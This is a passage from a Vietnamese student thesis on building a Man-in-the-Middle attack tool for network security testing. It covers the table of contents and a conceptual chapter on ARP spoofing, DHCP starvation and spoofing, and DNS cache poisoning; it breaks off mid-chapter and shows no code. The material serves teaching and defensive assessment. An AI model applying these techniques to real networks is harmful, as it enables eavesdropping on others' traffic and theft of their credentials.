Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 90

LỜI MỞ ĐẦU

Hiện nay, trong thời đại công nghiệp 4.0 đang phát triển mạnh mẽ, các công
ty công nghệ đang tìm kiếm và phát triển các thiết bị IoT, công nghệ, giao thức mới
nhằm nâng cao đời sống xã hội lên một tầm cao mới. Tuy nhiên, do sự phát triển
nhanh vượt trội của công nghệ thông tin, các cơ chế an toàn bảo mật không thể bắt
kịp được tốc độ đó, khiến cho chúng ta dễ bị nhắm đến bởi các cuộc tấn công mạng
khi sử dụng các thiết bị đó. Ảnh hưởng của các cuộc tấn công mạng có thể rất lớn,
tùy theo mức độ quan trọng và giá trị tài sản của mục tiêu.
Các cuộc tấn công mạng có thể xảy ra ở bất kỳ đâu, kể cả trong chính mạng
nội bộ ta đang sử dụng. Trong mạng nội bộ LAN, kẻ tấn công có thể sử dụng nhiều
phương pháp khác nhau nhằm đánh cắp thông tin cá nhân, thông tin đăng nhập, tài
liệu quan trọng, … của người dùng bị nhắm đến. Một trong những phương pháp tấn
công hay được sử dụng, đó là tấn công người xen giữa hay còn gọi là tấn công
Man–in–The–Middle.
Để bảo vệ trước các cuộc tấn công Man-in-the-middle, nhiều công cụ kiểm
thử đã được xây dựng để mô phỏng các cuộc tấn công và phát hiện các lỗ hổng
trong mạng máy tính, phục vụ cho việc thiết kế các cơ chế phát hiện và bảo mật
mạng cần thiết trước kiểu tấn công này. Tuy nhiên, nhiều công cụ tấn công chưa
thực hiện được nhiều phương thức tấn công hay các kỹ thuật tấn công vẫn chưa
hoàn thiện. Ví dụ, công cụ tấn công Ettercap là một công cụ tấn công Man-in-The-
Middle lâu đời nhưng thông tin đọc được chỉ giới hạn ở tên đăng nhập và mật khẩu.
Vậy, việc phát triển công cụ tấn công Man-in-The-Middle vẫn còn nhiều tiềm năng
để thêm vào các phương thức mới hay cải thiện các kỹ thuật đã có.
Chính vì lý do này, đề tài được chọn khi xây dựng đồ án này là “Xây dựng
công cụ tấn công Man-In-The-Middle phục vụ đánh giá an toàn mạng” với mục
tiêu là:

i
 Giới thiệu về tấn công Man-in-the-middle và tìm hiểu về các phương thức và
kỹ thuật tấn công Man-in-the-middle được sử dụng hiện nay.
 Phân tích, thiết kế và lập trình công cụ tấn công MiTM
 Thử nghiệm công cụ tấn công MiTM
 Tìm hiểu về cách phòng chống và phát hiện tấn công MiTM
Sau thời gian nghiên cứu đồ án, các mục tiêu đề ra cơ bản đã đạt được. Tuy
nhiên, do kiến thức và kỹ năng lập trình còn hạn chế nên không thể tránh khỏi thiếu
sót, vậy nên rất mong thầy cô cùng các bạn học viên cùng đóng góp ý kiến để tác
giả đồ án có thể hoàn thiện đề tài này.

ii
MỤC LỤC
LỜI CẢM ƠN............................................................................................................i
LỜI MỞ ĐẦU...........................................................................................................ii
DANH MỤC KÝ HIỆU VÀ TỪ VIẾT TẮT........................................................vi
DANH MỤC HÌNH ẢNH......................................................................................vii
Chương 1: Tìm hiểu về tấn công Man – in – The – Middle (MiTM)........................1
1.1. Khái niệm tấn công..........................................................................................1
1.2. Các phương pháp thực hiện tấn công Man – in – The – Middle (MiTM).......3
1.2.1. ARP Spoofing............................................................................................3
1.2.2. DHCP Spoofing.........................................................................................7
1.2.3. DNS Cache Poisoning.............................................................................12
1.2.4. ICMP Redirect.........................................................................................15
1.3. Các hình thức tấn công Man – in – the – middle...........................................18
1.3.1. Packet Injection and Modification (Thêm và thay đổi gói tin)................18
1.3.2. Session Hijacking (Chiếm đoạt phiên)....................................................19
1.3.3. SSL Stripping...........................................................................................21
Chương 2: Xây dựng công cụ tấn công MiTM........................................................23
2.1. Giới thiệu.......................................................................................................23
2.1.1. Scapy........................................................................................................23
2.1.2. Giới thiệu về công cụ được xây dựng......................................................25
2.2. Phân tích và thiết kế chức năng.....................................................................26
2.2.1. Quét mạng (Network Scanner)................................................................26
2.2.2. Tấn công ARP Spoofing..........................................................................29
2.2.3. Phát hiện ARP Spoofing (ARP Spoofing detector).................................34
2.2.4. Lắng nghe HTTP (HTTP Sniffer)............................................................39
2.2.5. DNS Spoofing..........................................................................................42
2.2.6. Trợ giúp...................................................................................................47
Chương 3: Thử nghiệm đánh giá an toàn mạng.......................................................48
3.1. Chuẩn bị.........................................................................................................48

iii
3.1.1. Hướng dẫn cài đặt công cụ......................................................................48
3.1.2. Thiết lập mô hình thử nghiệm..................................................................48
3.2. Thử nghiệm đánh giá an toàn mạng...............................................................51
3.2.1. Khái niệm về đánh giá an toàn mạng.......................................................51
3.2.2. Quét mạng (Network Scanner)................................................................52
3.2.3. ARP Spoofing..........................................................................................53
3.2.4. Nghe lén đường truyền HTTP (HTTP Sniffer)........................................56
3.2.5. DNS Spoofing..........................................................................................58
3.2.6. Kết quả đánh giá an toàn mạng................................................................60
Chương 4: Phòng chống và phát hiện tấn công Man–in–the–Middle......................61
4.1. Một số biện pháp phòng chống và phát hiện tấn công MiTM.......................61
4.2. Sử dụng công cụ WiTM.................................................................................63
KẾT LUẬN.............................................................................................................66
TÀI LIỆU THAM KHẢO.....................................................................................67
Phụ lục 1: Chương trình chính của công cụ (WiTM.py)....................................68
Phụ lục 2: Script chứa các hàm kiểm tra trước (precheck.py)..........................71
Phụ lục 3: Script chứa chức năng quét mạng (network_scanner.py)...............73
Phụ lục 4: Script chứa chức năng tấn công ARP Spoofing và phát hiện ARP
Spoofing (ARP_spoofing.py).................................................................................74
Phụ lục 5: Script chứa chức năng nghe lén đường truyền HTTP
(packet_sniffer.py).................................................................................................77
Phụ lục 6: Script chứa chức năng tấn công DNS Spoofing (DNS_spoof.py)....79
Phụ lục 7: Script hướng dẫn sử dụng (help.py)...................................................81

iv
DANH MỤC KÝ HIỆU VÀ TỪ VIẾT TẮT
ARP Address Resolution Protocol
DHCP Dynamic Host Configuration Protocol
DNS Domain Name System
HSTS HTTP Strict Transport Security
HTTP Hypertext Transfer Protocol
ICMP Internet Control Message Protocol
IDS Intrusion Detection System
IP Internet Protocol
LAN Local Area Network
MAC Media Access Control
MiTM Man-in-The-Middle
NAT Network Address Translation
NIC Network Interface Card
NSA National Security Agency
OSI Open Systems Interconnection
PC Personal Computer
SSL Secure Socket Layer
TCP Transmission Control Protocol
TTL Time To Live
UDP User Datagram Protocol
URL Uniform Resource Locator
VLAN Virtual LAN
VoIP Voice over IP
VPN Virtual Private Network
WEP Wired Equivalent Privacy
WiTM Who in The Middle

v
DANH MỤC HÌNH ẢNH

Hình 1.1. Ví dụ minh họa tấn công MiTM................................................................1


Hình 1.2. Hoạt động mạng thông thường...................................................................5
Hình 1.3. Cách thực hiện tấn công ARP Spoofing của kẻ tấn công..........................6
Hình 1.4. Hoạt động mạng sau khi bị tấn công ARP Spoofing.................................7
Hình 1.5. Quá trình hoạt động của giao thức DHCP.................................................8
Hình 1.6. Tấn công DHCP Starvation......................................................................10
Hình 1.7. Tấn công DHCP Spoofing.......................................................................11
Hình 1.8. Tấn công DNS Cache Poisoning..............................................................13
Hình 1.9. Tấn công ICMP Redirect.........................................................................17
Hình 1.10. Tấn công DNS Spoofing sử dụng kỹ thuật sửa đổi gói tin....................18
Hình 1.11. Tấn công Session Hijacking...................................................................20
Hình 1.12. Tấn công SSL Stripping.........................................................................21
Hình 2.1. Lưu đồ mô tả hoạt động của chức năng quét mạng.................................27
Hình 2.2. Lưu đồ mô tả hoạt động của chức năng tấn công ARP Spoofing............30
Hình 2.3. Lưu đồ xử lý dữ liệu nhập vào và lắng nghe đường truyền của chức năng
phát hiện ARP Spoofing..........................................................................................35
Hình 2.4. Lưu đồ xử lý gói tin ARP và phát hiện tấn công ARP Spoofing.............36
Hình 2.5. Lưu đồ mô tả hoạt động lắng nghe của chức năng HTTP Sniffer...........39
Hình 2.6. Lưu đồ xử lý dữ liệu đầu vào và chặn bắt gói tin của chức năng DNS
Spoofing...................................................................................................................42
Hình 2.7. Lưu đồ mô tả cách xử lý gói tin DNS Response của chức năng DNS
Spoofing...................................................................................................................43
Hình 3.1. Giao diện công cụ WiTM.........................................................................48
Hình 3.2. Mô hình mạng thử nghiệm.......................................................................49
Hình 3.3. Cửa sổ Virtual Network Editor trong VMWare Workstation..................50
Hình 3.4. Cửa số NAT Settings trong VMWare Workstation.................................50
Hình 3.5. Chức năng Network Scanner được chọn..................................................52
Hình 3.6. Kết quả sau khi quét của chức năng Network Scanner............................53
Hình 3.7. Địa chỉ MAC của máy nạn nhân trên Windows 7...................................53
Hình 3.8. Chức năng ARP Spoofing được chọn......................................................54
Hình 3.9. Tấn công ARP Spoofing đang được thực hiện........................................54
Hình 3.10. Bảng ARP của máy nạn nhân khi bị tấn công ARP Spoofing...............55
Hình 3.11. Tấn công ARP Spoofing bị ngừng.........................................................55
Hình 3.12. Chức năng HTTP Sniffer được chọn.....................................................56
Hình 3.13. Giao diện Website của học viện Kỹ thuật Mật mã.................................56
Hình 3.14. Kết quả thu được khi người dùng vào trang web...................................57
vi
Hình 3.15. Giao diện trang web có URL http://testphp.vulnweb.com/login.php....57
Hình 3.16. Kêt quả thu được khi người dùng đăng nhập vào trang web.................58
Hình 3.17. Chức năng DNS Spoofing được chọn....................................................59
Hình 3.18. Tấn công DNS Spoofing được thực hiện...............................................59
Hình 3.19. Kết quả nslookup trên máy nạn nhân với tên miền facebook.com........59
Hình 3.20. Kết quả nslookup trên máy nạn nhân với tên miền microsoft.com........60
Hình 3.21. Giao diện của chức năng DNS Spoofing trong quá trình tấn công........60
Hình 4.1. Chức năng phát hiện tấn công ARP Spoofing được lựa chọn..................64
Hình 4.2. Thực hiện tấn công ARP Spoofing ở máy nạn nhân................................65
Hình 4.3. Kết quả chức năng phát hiện tấn công ARP Spoofing của công cụ WiTM
..................................................................................................................................65

vii
CHƯƠNG I: TÌM HIỂU VỀ TẤN CÔNG MITM
I.1. Khái niệm tấn công
Man – in – the – middle là một dạng tấn công mà ở đó kẻ tấn công xâm nhập
vào cuộc hội thoại giữa hai nhóm người, giả danh cả hai nhóm người và truy cập
vào các thông tin mà hai bên đang truyền cho nhau. Tấn công man – in – the –
middle cho phép kẻ tấn công chặn, gửi và nhận dữ liệu dành cho người khác hoặc
không bao giờ gửi đi, mà hai bên không hề hay biết.
Tấn công MiTM là một trong những kiểu tấn công mạng lâu đời nhất trong
lịch sử an ninh mạng. Đầu những năm 1980 cho đến giờ, các nhà khoa học máy
tính đã phải nghiên cứu những cách có thể ngăn chặn được các nhân tố đe dọa được
sử dụng để nghe lén hoặc phá hoại đường truyền. Để có thể thực hiện kiểu tấn công
này, kẻ tấn công có thể can thiệp vào đường truyền hợp pháp hoặc tạo ra điểm kết
nối giả mà kẻ tấn công kiểm soát. Đường truyền sau khi bị can thiệp sẽ bị loại bỏ
mã hóa nhằm đánh cắp, thay đổi hoặc chuyển hướng đường truyền đến địa điểm mà
kẻ tấn công muốn chuyển đến.

Hình 1.1. Ví dụ minh họa tấn công MiTM


Hình 1.1 trên là một ví dụ của tấn công MiTM có thể làm gì nếu xâm nhập
thành công. Lúc này, kẻ tấn công Peter sẽ xâm nhập vào cuộc trò chuyện giữa Jack
và Jill bằng cách đóng giả Jack và Jill. Tại đây, đối với Jack, Peter là Jill và đối với
Jill, Peter là Jack. Khi đó, Jack và Jill nghĩ rằng họ đang nói chuyện trực tiếp với
1
nhau nhưng thực ra, họ đều đang nói chuyện với Peter. Vì lý do này, Peter có thể
lắng nghe mọi dữ liệu mà Jack và Jill gửi đến cho Peter và thay đổi thông tin được
truyền đi. Trong ví dụ, Jack và Jill đang thực hiện một giao dịch chuyển tiền. Peter
thực hiện tấn công MiTM và thay khóa của Jill bằng khóa của chính mình, gửi cho
Jack. Sau đó, Peter sẽ chỉnh sửa số tài khoản của Jack bằng tài khoản của mình để
Jill chuyển số tiền vốn định gửi cho Jack vào tài khoản của mình.
Các cuộc tấn công MiTM đang ngày càng gia tăng, khó phát hiện hơn và
đang có xu hướng phát triển để có thể phá được các biện pháp bảo mật hiện nay.
Một số cuộc tấn công MiTM gây ảnh hưởng lớn được ghi nhận:
 Năm 2011, một lỗ hổng an ninh của cơ quan cấp chứng thư Hà Lan được
khai thác để cung cấp chứng thư giả mạo. Các chứng thư giả mạo đó sau
được sử dụng để thực hiện tấn công MiTM
 Việc cơ quan an ninh quốc gia (NSA) của Mỹ giả mạo thành Google được
làm sáng tỏ vào năm 2013 khi Edward Snowden làm rò rỉ các tài liệu của
NSA công khai. Sử dụng khả năng chặn bắt các thông tin và giả mạo các
chứng chỉ SSL, NSA có thể theo dõi các tìm kiếm tiềm tang của người dùng.
 Năm 2014, Lenovo cài đặt một phần mềm adware MiTM gọi là Superfish
trên các máy tính PC Windows. Superfish được sử dụng để quét các đường
truyền SSL và cài đặt các chứng chỉ cho phép chúng chặn bắt và chuyển
hướng các đường truyền an toàn
 Năm 2015, một cặp đôi người Anh mất 340.000 Euro trong một cuộc tấn
công MiTM nghe lén email và cướp email.
 Cuối tháng 4, năm 2019, nhiều nhà nghiên cứu tin rằng nhiều kẻ tấn công
đang cố gắng sử dụng kiểu tấn công Man – in – the – Middle để phân phối và
cài đặt Plead Backdoor bằng cách sử dụng phần mềm AsusWSPanel.exe

2
I.2. Các phương pháp thực hiện tấn công Man – in – The – Middle (MiTM)
I.2.1. ARP Spoofing
I.2.1.1. Giới thiệu về giao thức ARP
Trong một hệ thống mạng máy tính, có 2 địa chỉ được gán cho máy tính là:
 Địa chỉ logic: là địa chỉ của các giao thức mạng như IP, IPX, ... Loại địa chỉ
này chỉ mang tính chất tương đối, có thể thay đổi theo sự cần thiết của người
dùng. Các địa chỉ này thường được phân thành 2 phần riêng biệt là phần địa
chỉ mạng và phần địa chỉ máy. Cách đánh địa chỉ như vậy nhắm giúp cho
việc tìm ra các đường kết nối từ hệ thống mạng này sang hệ thống mạng
khác dễ dàng hơn.
 Địa chỉ vật lý: hay còn gọi là địa chỉ MAC là địa chỉ 48 bit, dùng để định
danh duy nhất do nhà cung cấp gán cho mỗi thiết bị. Đây là loại địa chỉ
phẳng, không phân lớp, nên rất khó dùng để định tuyến.
Trên thực tế, các card mạng (NIC) chỉ có thể kết nối với nhau theo địa chỉ
MAC, địa chỉ cố định và duy nhất của phần cứng. Do vậy phải có một cơ chế để
ánh xạ địa chỉ logic - lớp 3 sang địa chỉ vật lý - lớp 2 để các thiết bị có thể giao tiếp
với nhau. Từ đó, giao thức phân giải địa chỉ ARP - Address Resolution Protocol
được tạo ra nhằm giải quyết vấn đề trên
Giao thức ARP (Address Resolution Protocol), là giao thức được sử dụng để
phân giải địa chỉ MAC cố định từ một địa chỉ IP, có thể thay đổi tùy theo từng
mạng. ARP là giao thức lớp 2 - Data link layer trong mô hình OSI và là giao thức
lớp Link layer trong mô hình TCP/IP. Ban đầu ARP chỉ được sử dụng trong mạng
Ethernet để phân giải địa chỉ IP và địa chỉ MAC. Nhưng ngày nay ARP đã được
ứng dụng rộng rãi và dùng trong các công nghệ khác dựa trên lớp hai.
Quá trình hoạt động của giao thức ARP như sau:
 Bước 1: Khi một thiết bị nguồn muốn liên lạc với một thiết bị khác, thiết bị
đó sẽ kiểm tra xem trong bộ đệm ARP của máy đã có địa chỉ MAC được

3
phân giải của thiết bị đích chưa. Nếu đã có, máy sẽ sử dụng địa chỉ MAC đó
để bắt đầu kết nối.
 Bước 2: Nếu địa chỉ MAC của thiết bị đích chưa có trong bộ đệm ARP, thiết
bị nguồn sẽ tạo ra một gói tin ARP request và gửi broadcast cho toàn bộ thiết
bị có trong mạng với trường Target IP address chứa địa chỉ IP của thiết bị
đích. Trường Target Hardware Address sẽ để trống.
 Bước 3: Mọi thiết bị trong mạng nhận được gói tin ARP Request do thông
điệp được truyền broadcast. Khi đó, chúng sẽ so sánh địa chỉ IP trong trường
Target IP address với địa chỉ IP của chúng. Nếu địa chỉ IP của chúng không
giống, gói tin sẽ bị loại bỏ.
 Bước 4: Nếu thiết bị đích nhận được gói tin, nó sẽ so sánh và tạo ra thông
điệp ARP reply, sử dụng thông tin từ thông điệp ARP request đã nhận từ
trước để trả lời. Đồng thời, thiết bị đích cũng sẽ cập nhật bộ đệm ARP. Ở
đây, gói tin ARP reply sẽ được gửi theo hướng Unicast.
 Bước 5: Thiết bị nguồn sẽ nhận gói tin ARP reply từ thiết bị đích và cập nhật
địa chỉ MAC trong trường Sender Hardware Address cùng với địa chỉ IP cần
phân giải vào bộ đệm ARP.
 Bước 6: Thiết bị nguồn và thiết bị đích có thể liên lạc với nhau do bộ đệm
ARP đã có bản ghi cần thiết.
Giao thức ARP là giao thức được sử dụng rất nhiều trong các thiết bị kết nối
mạng ngày nay do sự linh hoạt và tiện lợi của nó. Tuy nhiên, một cơ chế nguy hiểm
của giao thức này có thể khiến mọi thiết bị gặp nguy hiểm. Để đảm bảo rằng các
thiết bị mạng luôn tìm được địa chỉ MAC của thiết bị muốn kết nối, kể cả khi thiết
bị đó có thay đổi địa chỉ IP, các gói tin ARP sẽ luôn được tiếp nhận mặc dù thiết bị
đó không gửi gói tin ARP request. Cơ chế này đã bị lợi dụng nhằm tiến hành nhiều
các dạng tấn công khác nhau, trong đó có tấn công Man – in – the – Middle.

4
I.2.1.2. Tấn công ARP Spoofing
ARP spoofing là kiểu tấn công mà ở đó kẻ tấn công gửi các gói tin ARP sai
lệch trong toàn bộ khu vực mạng cục bộ. Điều này sẽ dẫn đến địa chỉ MAC của kẻ
tấn công với địa chỉ IP của máy tính hợp pháp hoặc máy chủ trên mạng đó. Một khi
địa chỉ MAC của kẻ tấn công kết nối với địa chỉ IP hợp lệ, kẻ đó sẽ bắt đầu nhận
bất kỳ dữ liệu được dành cho địa chỉ IP đó. ARP spoofing có thể cho phép các nhân
tố độc hại chặn bắt, chỉnh sửa hoặc có thể ngăn chặn gói tin đang truyền. Các cuộc
tấn công ARP spoofing chỉ có thể xảy ra trên các mạng cục bộ, nơi sử dụng giao
thức ARP.
Để có thể phân tích rõ hơn về kiểu tấn công này, đồ án sẽ phân tích ví dụ sau:

Hình 1.2. Hoạt động mạng thông thường


Hình ảnh 1.2 chỉ rõ hoạt động bình thường của mạng máy tính trước khi kẻ
tấn công bắt đầu tấn công ARP spoofing. Có thể thấy rằng, máy nạn nhân vẫn gửi
các yêu cầu và nhận các phản hồi từ Internet thông qua Access point bình thường,
và cả máy kẻ tấn công cũng như vậy. Lúc này, bảng ARP của Access point và của
nạn nhân không bị thay đổi.

5
Hình 1.3. Cách thực hiện tấn công ARP Spoofing của kẻ tấn công
Ở hình ảnh 1.3, máy kẻ tấn công đã bắt đầu thực hiện cuộc tấn công ARP
Spoofing trên mạng LAN. Có thể thấy rằng, kẻ tấn công đang gửi các gói tin ARP
reply cho cả máy nạn nhân và Access Point. Đối với nạn nhân, kẻ tấn công gửi một
gói tin ARP reply có địa chỉ IP gửi là địa chỉ của Access Point, nhưng địa chỉ MAC
gửi được sử dụng trong gói ARP reply là địa chỉ của mình. Khi máy nạn nhân nhận
gói tin này, máy sẽ tưởng rằng Access Point đang gửi địa chỉ MAC cho mình và
cập nhật bảng ARP trên máy của mình. Điều tương tự cũng xảy ra như vậy với
Access Point.

6
Hình 1.4. Hoạt động mạng sau khi bị tấn công ARP Spoofing
Sau khi đã thay đổi bảng ARP của cả máy nạn nhân và Access point, kẻ tấn
công đã thành công trong việc xen giữa bản thân mình trong kết nối của máy nạn
nhân đối với Access Point. Tại đây, mọi gói tin từ máy nạn nhân, sẽ phải đi qua
máy kẻ tấn công để có thể đến Access Point và kết nối với Internet.
Tấn công ARP Spoofing là cách thực hiện tấn công MiTM đơn giản và dễ
thực hiện nhất trong các phương pháp thực hiện tấn công.
I.2.2. DHCP Spoofing
I.2.2.1. Giới thiệu về giao thức DHCP
Khả năng kết nối các thiết bị nhanh và dễ dàng là điều rất quan trọng trong
quá trình phát triển công nghệ hiện nay, và mặc dù nhiều thập kỉ đã qua, giao thức
DHCP vẫn là một trong phương pháp cần thiết để đảm bảo rằng các thiết bị có thể
kết nối mạng và được cấu hình chính xác. DHCP giảm đi rất nhiều những lỗi khi
cài đặt địa chỉ IP thủ công và có thể mở rộng số lượng địa chỉ IP bằng cách giới hạn
thời gian các thiết bị có thể giữ địa chỉ IP được cấp.
Giao thức DHCP (Dynamic Host Configuration Protocol) là một giao thức
mạng, hoạt động theo mô hình server – client, được sử dụng trong các mạng IP mà
ở đó, một máy chủ DHCP tự động phân phát một địa chỉ IP và các thông tin mạng
7
khác cho mỗi thiết bị trên mạng để chúng có thể kết nối với nhau một cách hiệu quả
với các thiết bị khác. Một máy chủ DHCP cho phép các máy tính yêu cầu các địa
chỉ IP và các tham số mạng tự động, giảm thiểu trách nhiệm cho các nhân viên
quản trị mạng hoặc người dùng phải tự cài đặt các địa chỉ IP thủ công cho tất cả
thiết bị mạng.

Hình 1.5. Quá trình hoạt động của giao thức DHCP
Việc cấp phát và tiếp nhận giữa máy chủ DHCP và máy khách DHCP trên
hình 1.5 có thể được diễn giải như sau:
 Bước 1: Máy khách DHCP gửi broadcast một thông điệp DHCPDISCOVER
trên mạng hiện tại.
 Bước 2: Khi máy chủ DHCP tiếp nhận thông điệp DHCPDISCOVER từ một
client, máy chủ DHCP sẽ dành riêng một địa chỉ IP cho client và tạo một đề
nghị cho thuê bằng cách gửi một thông điệp DHCPOFFER cho client. Thông
điệp này chứa địa chỉ MAC của client, địa chỉ cho thuê, subnet mask, thời
hạn cho thuê và địa chỉ của máy chủ DHCP tạo đề nghị.
 Bước 3: Để trả lời cho thông điệp DHCPOFFER, client trả lời với thông điệp
DHCPREQUEST, gửi broadcast cho máy chủ, yêu cầu địa chỉ được thuê.
8
Một client có thể nhận nhiều thông điệp DHCPOFFER từ nhiều máy chủ,
nhưng chúng chỉ có thể nhận một thông điệp DHCPOFFER. Khi các máy
chủ DHCP khác nhận thông điệp DHCP Request này, chúng sẽ thu về bất kì
đề nghị nào dành cho client đó và trả địa chỉ IP đề nghị về với tập các địa chỉ
sẵn sàng sử dụng.
 Bước 4: Khi một máy chủ DHCP tiếp nhận thông điệp DHCPREQUEST từ
phía client, server sẽ trả về thông điệp DHCPACK nhằm công nhận việc tiếp
nhận đề nghị của máy chủ DHCP. Thông điệp DHCPACK chứa thời hạn sử
dụng địa chỉ và bất kì các thông tin cấu hình khác mà client có thể yêu cầu.
Giao thức DHCP đã và đang là giao thức được sử dụng rất nhiều trong các
mạng máy tính, chính vì vậy, đấy cũng chính là lý do nhiều kẻ tấn công muốn khai
thác điểm yếu của giao thức này để có thể thực hiện một số cuộc tấn công như
DHCP Spoofing, DHCP Stavation, …

9
I.2.2.2. Tấn công DHCP Spoofing
Tấn công DHCP Spoofing, hay còn gọi là giả mạo DHCP, là một kiểu tấn
công mà ở đó máy tính của kẻ tấn công đóng vai hay giả dạng thành một máy chủ
DHCP trong mạng nội bộ LAN. Kiểu tấn công này thường được kết hợp với kiểu
tấn công DHCP Starvation để tăng tính hiệu quả và chính xác.

Hình 1.6. Tấn công DHCP Starvation


DHCP Starvation là kiểu tấn công nhằm đến máy chủ DHCP, ở đó kẻ tấn
công sẽ gửi một lượng lớn thông điệp DHCP Request với các địa chỉ MAC giả
mạo. Nếu máy chủ DHCP tiếp nhận các thông điệp DHCP Request này và xử lý
nó, các địa chỉ IP trong máy chủ của DHCP sẽ bị cạn kiệt trong một khoảng thời
gian rất ngắn. Hình 1.6 ở trên là một ví dụ về cách thực hiện tấn công DHCP
Starvation.
Một khi các địa chỉ IP khả dụng của máy chủ DHCP bị cạn kiệt, kẻ tấn công
sẽ dựng lên một máy chủ DHCP giả mạo và trả lời các DHCP request từ các client
trong mạng. Bằng việc dựng lên một máy chủ DHCP giả mạo, kẻ tấn công giờ đã
có thể bắt đầu cuộc tấn công DHCP Spoofing.

10
Hình 1.7. Tấn công DHCP Spoofing
Sau khi tấn công DHCP Starvation và xây dựng lên máy chủ DHCP giả mạo,
kẻ tấn công có thể bắt đầu phân phối các địa chỉ IP và các điều chỉnh cấu hình
TCP/IP khác đến các client DHCP trong mạng nội bộ bằng cách gửi các thông điệp
DCHPOFFER cho toàn mạng. Các điều chỉnh cấu hình TCP/IP bao gồm Default
Gateway và địa chỉ IP của máy chủ DNS. Kẻ tấn công giờ có thể thay thế các địa
chỉ này bằng chính địa chỉ IP của kẻ tấn công. Một khi địa chỉ IP của Default
Gateway của các thiết bị mạng bị thay đổi, các client trong mạng bắt đầu gửi các
đường truyền ra ngoài mạng đến máy tính của kẻ tấn công. Kẻ tấn công giờ đã
đứng giữa đường truyền giữa các client kết nối với DHCP giả mạo và Internet,
đóng vai trò giống như là một gateway trước khi các thông điệp từ các client kết
nối gửi ra ngoài mạng.
Tấn công DHCP Spoofing có thể gây ảnh hưởng lớn đến toàn bộ các thiết bị
sử dụng giao thức DHCP trong mạng LAN, khiến cho đường truyền của toàn bộ
các thiết bị trong mạng bị nghe lén và thay đổi nếu hệ thống không có các biện
pháp bảo vệ kịp thời.

11
I.2.3. DNS Cache Poisoning
I.2.3.1. Giới thiệu về giao thức DNS
DNS (Domain Name System) là một dịch vụ phân giải tên miền có khả năng
ánh xạ tên miền (Domain) sang địa chỉ IP và ngược lại. DNS có cơ sở dữ liệu phân
cấp, phân tán và sử dụng Port giao tiếp là 53 (UDP/TCP).
DNS bao gồm hai thành phần quan trọng: Máy chủ DNS và DNS Client:
 Máy chủ DNS sẽ thực hiện phân giải tên miền ra IP và ngược lại từ IP sang
tên miền bằng cách tìm kiếm trong cơ sở dữ liệu của nó, nếu không tìm thấy
nó sẽ đi hỏi máy chủ DNS khác.
o Forward Lookup Zone sẽ phân giải tên miền sang địa chỉ IP.
o Reverse Lookup Zone sẽ phân giải IP sang tên miền.
 DNS Client dùng để phân giải cho máy người dùng, khi người dùng truy cập
tên miền DNS Client sẽ đi hỏi máy chủ DNS để lấy thông tin phân giải tên
miền.
Máy chủ DNS sử dụng 2 giao thức để hoạt động là TCP và UDP. Giao thức
TCP dùng để đóng gói khi 2 Server DNS thực hiện trao đổi dữ liệu với nhau, TCP
đảm bảo quá trình cập nhật thông tin diễn ra an toàn và chính xác. Giao thức UDP
được dùng để đóng gói và trả lời các Query một cách nhanh chóng cho các Client
gửi yêu cầu phân giải tên miền.
Quá trình hoạt động của giao thức DNS:
 Bước 1: Đầu tiên Client sẽ gửi yêu cầu phân giải tên miền DNS Request tới
máy chủ DNS trong mạng cục bộ. Nếu máy chủ DNS trong mạng cục bộ sẽ
kiểm tra trong cơ sở dữ liệu của nó có chứa bản ghi không. Nếu có, nó sẽ gửi
trả lại địa chỉ IP của máy có tên miền nói trên.
 Bước 2: Trong trường họp máy chủ DNS cục bộ không có cơ sở dữ liệu về
tên miền này, nó sẽ hỏi lên các máy chủ DNS Root.

12
 Bước 3: Máy chủ DNS Root sẽ tìm kiếm thông tin phân giải trong cơ sở dữ
liệu để trả về địa chỉ IP tương ứng cho Client.
 Bước 4: Trường hợp máy chủ DNS Root không tìm thấy thông tin phân giải
trong cơ sở dữ liệu của nó thì sẽ gửi truy vấn hỏi các máy chủ DNS thứ cấp
khác.
 Bước 5: Các máy chủ DNS khác nếu tìm được thông tin phân giải tên miền
được yêu cầu sẽ gửi phản hồi DNS Reply về cho máy chủ DNS Root.
Giao thức DNS máy tính có thể dễ dàng truy cập vào các trang web mà
không cần phải nhớ những địa chỉ IP để truy cập. Nhưng chính tiện ích này cũng
chính là điểm yếu của giao thức DNS. Vì người dùng không thể nhớ được tên miền
này được gán với địa chỉ IP nào, kẻ tấn công có thể lợi dụng việc này để thay thế
địa chỉ IP của tên miền đó bằng địa chỉ IP của một máy chủ độc hại do kẻ tấn công
kiểm soát. Đây còn được gọi là tấn công DNS poisoning.
I.2.3.2. Tấn công DNS Cache Poisoning

Hình 1.8. Tấn công DNS Cache Poisoning


Hình 1.8 mô tả cách thực hiện tấn công DNS Cache Poisoning, một dạng tấn
công nguy hiểm, khai thác các lỗ hổng trong giao thức DNS để đổi hướng đường
13
truyền Internet khỏi các máy chủ hợp pháp và hướng đến các máy chủ giả mạo.
Một trong những lí do khiến kiểu tấn công DNS poisoning trở nên nguy hiểm như
vậy vì nó có thể lan ra từ máy chủ DNS này sang máy chủ DNS khác.
Internet không chỉ có một máy chủ DNS, như vậy sẽ kém hiệu quả. Nhà
cung cấp mạng sử dụng chính các máy chủ DNS của họ làm nơi lưu trữ bộ đệm các
thông tin từ các máy chủ DNS khác. Router tại nhà hiện nay hoạt động như một
máy chủ DNS, lưu trữ bộ đệm các thông tin từ các máy chủ DNS của nhà cung cấp
mạng đăng ký. Máy tính của người dùng cũng có một bộ nhớ bộ đệm DNS cục bộ,
để máy có thể tra cứu các bản ghi DNS đã yêu cầu từ trước hơn là gửi yêu cầu đến
máy chủ DNS lần này đến lần khác.
Nếu kẻ tấn công có thể điều khiển một máy chủ DNS và thay đổi một số
thông tin trên nó, ví dụ, kẻ tấn công có thể trỏ google.com đến một địa chỉ IP mà kẻ
tấn công điều khiển, máy chủ đó sẽ nói với những người dùng của nó tìm
google.com ở địa chỉ giả. Ở địa chỉ giả đó, kẻ tấn công có thể tiếp nhận và chuyển
tiếp yêu cầu của người truy cập đến tên miền muốn truy cập, thậm chí là thay đổi
yêu cầu đến website thật, đứng giữa đường truyền của nạn nhân và website.
Tấn công DNS poisoning có thể lan rộng ra nhiều mạng khác. Ví dụ, nếu
nhiều nhà cung cấp mạng lấy các thông tin DNS của họ từ một máy chủ bị xâm
nhập, bản ghi DNS bị chỉnh sửa sẽ lan ra các nhà cung cấp mạng và lưu vào bộ nhớ
bộ đệm ở đó. Từ đó, chúng sẽ lan ra các bộ định tuyến tại nhà và các bộ nhớ bộ
đệm DNS trên các máy tính khi chúng phân giải tên miền, nhận phản hồi sai lệch
